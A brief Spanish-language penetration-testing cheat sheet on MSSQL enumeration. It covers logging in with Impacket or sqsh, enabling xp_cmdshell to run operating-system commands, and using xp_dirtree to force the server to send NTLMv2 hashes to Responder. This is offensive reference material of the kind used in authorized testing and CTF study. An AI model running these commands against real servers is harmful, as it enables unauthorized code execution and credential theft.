MSSQL (1433) - Enumeration¶
1. Nmap Scripts¶
Identificar versión y auth methods.
2. Remote Login¶
Si tienes credenciales (o sa vacío).
# Impacket (Linux)
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<IP> -windows-auth
# sqsh (Linux)
sqsh -S <IP> -U <USER> -P <PASS>
3. RCE (xp_cmdshell)¶
Si eres admin (sa user), habilita command execution.
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Ejecutar comandos
exec xp_cmdshell 'whoami';
4. Hash Stealing (xp_dirtree)¶
Obligar al servidor SQL a autenticarse contra nuestro Responder.
Recibe el hash NTLMv2 en tu Kali.